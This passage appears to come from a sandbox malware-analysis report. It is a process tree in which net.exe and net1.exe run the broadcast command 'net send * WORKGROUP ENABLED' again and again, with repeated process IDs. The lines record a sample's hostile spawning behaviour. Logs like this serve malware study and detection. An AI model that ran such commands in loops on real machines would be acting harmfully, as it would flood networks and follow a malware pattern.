- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2780
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:112
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1380
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4164
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1440
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4140
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2488
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3424
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3512
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4152
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4724
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4296
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3168
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:5096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3728
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1400
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4896
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3232
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3316
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2692
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4024
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4392
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2656
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4756
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3236
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3192
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1128
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1268
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4016
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4400
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4444
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:436
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2660
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4916
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2696
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:396
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:896
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4164
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:752
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2656
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3424
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3236
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4160
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4296
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1680
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:5096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5100
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1400
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5084
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3232
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4916
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1380
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2692
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4024
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4164
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2072
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3876
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4152
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3424
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1212
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:312
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3156
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3976
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2780
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3728
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:5084
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1400
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1888
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4916
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:752
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4392
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3064
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2488
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3236
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3512
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4016
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4296
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4944
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5096
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3728
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2780
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1400
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5084
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3232
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4916
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4508
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4392
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:228
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:492
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2300
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:312
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:112
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3976
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4520
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2336
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4456
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1888
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1380
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3192
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2812
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1128
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3756
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1412
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3284
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4016
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4160
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1692
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3168
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:112
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2780
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2872
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1400
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2336
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3232
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4268
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4976
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3496
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3192
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1380
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2656
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4300
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3284
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1412
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4016
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:468
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4296
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4160
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:436
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4444
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3976
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:396
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2872
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4916
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4164
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4580
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:228
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2656
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4300
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1244
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2460
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3512
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2300
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:492
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3156
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:5096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5100
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4520
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2660
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3976
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2068
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4916
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4972
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2336
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:752
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2488
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1532
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3424
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2384
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4740
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1212
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4944
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4296
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3728
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2780
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2696
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1888
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:396
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3976
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3876
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4972
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4508
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:752
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1380
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2488
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1532
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2692
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1880
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2384
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4740
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3680
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1212
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3756
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4944
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4016
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5084
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4160
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2872
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2660
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4164
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4456
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5056
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3536
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2812
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2336
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1128
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3448
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2460
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4724
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3424
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:312
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:436
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3168
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2300
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2696
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3728
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1400
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3976
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4024
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:8
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:752
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3496
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4300
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2428
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2460
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4724
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2384
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3680
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3156
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3512
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:932
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1560
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:2696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1400
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3728
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:3976
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4520
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1680
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:752
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:8
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4300
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3496
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4468
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1380
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:4508
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3252
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2460
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3424
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:1268
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1244
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:436
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:3836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:5100
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:4016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:492
- C:\Windows\system32\net.exe
  net send * WORKGROUP ENABLED
  2⤵
  PID:1440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 send * WORKGROUP ENABLED
    3⤵
    PID:2780
- C:\Windows\system32\net.exe
